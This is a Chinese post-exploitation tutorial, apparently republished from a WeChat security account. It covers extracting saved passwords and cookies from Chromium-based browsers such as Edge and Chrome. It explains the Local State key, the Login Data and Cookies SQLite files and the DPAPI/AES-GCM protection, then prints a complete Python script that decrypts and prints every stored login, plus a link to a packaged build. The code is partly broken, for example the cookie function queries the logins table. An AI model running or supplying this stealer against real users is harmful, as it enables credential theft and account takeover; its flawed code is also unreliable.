“ 看我如何从你的浏览器提取你所有的账号密码信息。”
在后渗透过程中,切入点及思路非常繁多,浏览器是信息交流的主要途径,也是解除用户隐私最多的应用程序。搞定用户的浏览器,也就基本等于接管了目标的大部分权限。
01
—
Webkit内核与Chromium开源项目
WebKit 是一个开源的浏览器引擎,目前绝大多数的国内外主流浏览器使用或附带了Webkit内核,包括QQ浏览器、360浏览器等。 Chromium是一个基于Webkit内核的开源浏览器项目,2020年微软也放弃自家浏览器内核,基于Chromium推出了新版Edge浏览器。
本文将以新版Edge浏览器为例,讲解浏览器相关信息提取的内容。
02 — 基于Chromium浏览器的用户文件
关于Chromium浏览器对用户数据存储的默认位置等信息,可以在Google官方给出的文档中找出(参考文档地址:https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/user_data_dir.md) 新Edge的路径为 User Data目录下需要关注的文件及目录主要有两个: Local State : 保存了配置数据,其中包含了encrypted_value的值; Default/ : 有Cookie、Login Date、Bookmarks、History等文件
其中Cookie本质为SQLite3的数据库文件,保存了浏览器的Cookie信息的加密值、Login Data也是SQLite3数据库文件,保存了登陆时记住密码的用户名密码信息的加密值、Bookmarks为书签信息、History为历史记录信息。
03 —
Windows
The default location is in the local app data folder:
[ ] %LOCALAPPDATA%GoogleChromeUser Data
[ ] %LOCALAPPDATA%GoogleChrome BetaUser Data
[ ] %LOCALAPPDATA%GoogleChrome SxSUser Data
[ ] %LOCALAPPDATA%ChromiumUser Data
%LOCALAPPDATA%MicrosoftEdgeUser Data
SQLite数据库中密文解密
Cookie数据保存在%LOCALAPPDATA%MicrosoftEdgeUser DataDefultCookie文件中,本质为SQLite数据库文件,使用Navicat打开
字段encrypted_value就是加密后的Cookie值
Login Data文件同理:
encrypted_value为对称加密后的值,操作系统不通,key的存放位置也是不同的
Windows,当前用户的ProtectedData中;
Linux,固定的密钥或钥匙链;
Mac,钥匙链;
其中具体的两种针对Windows的加密方式可以从Chromium源码中找出:
//本段代码引用自https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_unittest.cc?q=CryptProtectData&ss=chromium
//其他OS的加密方式可以从以下查看,此处不赘述: https://chromium.googlesource.com/chromium/src/+/53.0.2785.100/components/os_crypt
//-------------------------------------------------------------------------------------------
// This test verifies that the header of the data returned from CryptProtectData
// never collides with the kEncryptionVersionPrefix ("v10") used in
// os_crypt_win.cc. If this ever happened, we would not be able to distinguish
// between data encrypted using the legacy DPAPI interface, and data that's been
// encrypted with the new session key
TEST_F(OSCryptTestWin, ReadOldData) {
OSCryptMocker::SetLegacyEncryption(true); //DPAPI加密
std::string plaintext = "secrets";
std::string legacy_ciphertext;
ASSERT_TRUE(OSCrypt::EncryptString(plaintext, &legacy_ciphertext));
OSCryptMocker::SetLegacyEncryption(false); //AES-256-GCM加密
TestingPrefServiceSimple pref_service_simple;
OSCrypt::RegisterLocalPrefs(pref_service_simple.registry());
ASSERT_TRUE(OSCrypt::Init(&pref_service_simple));
std::string decrypted;
// Should be able to decrypt data encrypted with DPAPI.
ASSERT_TRUE(OSCrypt::DecryptString(legacy_ciphertext, &decrypted));
EXPECT_EQ(plaintext, decrypted);
// Should now encrypt same plaintext to get different ciphertext.
std::string new_ciphertext;
ASSERT_TRUE(OSCrypt::EncryptString(plaintext, &new_ciphertext));
// Should be different from DPAPI ciphertext.
EXPECT_NE(legacy_ciphertext, new_ciphertext);
// Decrypt new ciphertext to give original string.
ASSERT_TRUE(OSCrypt::DecryptString(new_ciphertext, &decrypted));
EXPECT_EQ(plaintext, decrypted);
}
结合encrypted_value的值分析,当encrypted_value以v10开头时,便是使用了AES-256-GCM方式加密,若无前缀,则使用了DPAPI加密。
DPAPI解密比较简单,Python代码如下:
import win32crypt
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
win32crypt.CryptUnprotectData(key, None, None, None, 0)
则获取密钥后对内容进行解密即可,完全代码如下:
import os import sys import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil from datetime import datetime, timedelta def get_chrome_datetime(chromedate): """从chrome格式的datetime返回一个`datetime.datetime`对象 因为'chromedate'的格式是1601年1月以来的微秒数""" return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) def get_encryption_key(): if browser == 'edge': local_state_path = os.path.join(os.environ['USERPROFILE'],r'AppData\Local\Microsoft\Edge\User Data\Local State') elif browser == 'chrome': local_state_path = os.path.join(os.environ['USERPROFILE'],r'AppData\Local\Google\Chrome\User Data\Local State') with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) # 从Base64解码加密密钥 key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) # 删除开头的'DPAPI'字样 key = key[5:] # 返回最初加密的解密密钥 # 使用从当前用户的登录凭据派生的会话密钥 return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_password(password, key): try: # 去除开头的v10字样,只取iv向量关键字符 iv = password[3:15] password = password[15:] # 生成密码 cipher = AES.new(key, AES.MODE_GCM, iv) # 解密密码 return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: print("Not Supported") return "" def GetPasswords(): key = get_encryption_key() if browser == 'edge': db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Microsoft\Edge\User Data\default\Login Data") elif browser == 'chrome': db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Login Data") #添加浏览器在这里定义路径 #elif browser == '自定义参数': # db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Login Data") filename = "PasswordData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") # iterate over all rows for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: print(f"Origin URL: {origin_url}") print(f"Action URL: {action_url}") print(f"Username: {username}") print(f"Password: {password}") else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}") if date_last_used != 86400000000 and date_last_used: print(f"Last Used: {str(get_chrome_datetime(date_last_used))}") print("="*50) cursor.close() db.close() try: # try to remove the copied db file os.remove(filename) except: pass def GetCookies(): key = get_encryption_key() if browser == 'edge': db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Microsoft\Edge\User Data\default\Login Data") elif browser == 'chrome': db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Cookies") #添加浏览器在这里定义路径 #elif browser == '自定义参数': # db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Login Data") filename = "PasswordData.db" shutil.copyfile(db_path, filename) # 连接数据库 db = sqlite3.connect(filename) cursor = db.cursor() # 数据库中的字段 cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") # iterate over all rows for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: print(f"Origin URL: {origin_url}") print(f"Action URL: {action_url}") print(f"Username: {username}") print(f"Password: {password}") else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}") if date_last_used != 86400000000 and date_last_used: print(f"Last Used: {str(get_chrome_datetime(date_last_used))}") print("="*50) cursor.close() db.close() try: # try to remove the copied db file os.remove(filename) except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("===Usage===\n" + sys.argv[0] + " chrome" print("Or") print(sys.argv[0] + " other AppData\\Local\\Google\\Chrome\\User Data\\Local State AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data") print("\n===Support list===") print("chrome --- chrome browser [ >80.x ]") print("edge --- edge browser") #print("sogou --- sogou browser") #print("360 --- 360 safe browser") #print("360cse --- 360 cse browser") #print("2345 --- 2345 browser") #print("qq --- QQ browser") #print("firefox --- firefox browser [need prefix]") #print("other --- other browser [base on chromium>80.0]\n\n") sys.exit() if sys.argv[1] not in ['chrome','edge','sogou','360','360cse','2345','qq','firefox','other']: sys.exit('Undefined Browser') if len(sys.argv) == 4: if sys.argv[0] == 'other': print('You Choose the Other Browser ,please set the [Local State] file path and [Login Data] file') else: sys.exit('Input Error! Other Usage:' + sys.argv[0] + " other AppData\\Local\\Google\\Chrome\\User Data\\Local State AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data") browser = sys.argv[1] GetPasswords()
将代码写入py文件即可使用,使用方法
python3 getpassword.py [edge/chrome]
// 其他浏览器可以自行适配
若无Python环境,可使用打包后版本,下载地址如下:
https://laisc.lanzoui.com/iKLeVtnutsj
// 或长按下方二维码选择在浏览器打开
参考资料:
-
进城务工人员小梅 . Chrome浏览器Cookie及密码解密的分析过程及Java实现Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密[EB/OL]. 2020-02[2021-8-25]. http://www.meilongkui.com/archives/1904.
-
HACK学习. Chrome 80.X版本如何解密Cookies文件[EB/OL]. 2020[2021-8-25]. http://t.hk.uy/PVE
-
参考代码:https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc?q=OSCrypt&ss=chromium
原文始发于微信公众号(黑客茶话会):Chromium内核浏览器Cookie及密码提取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论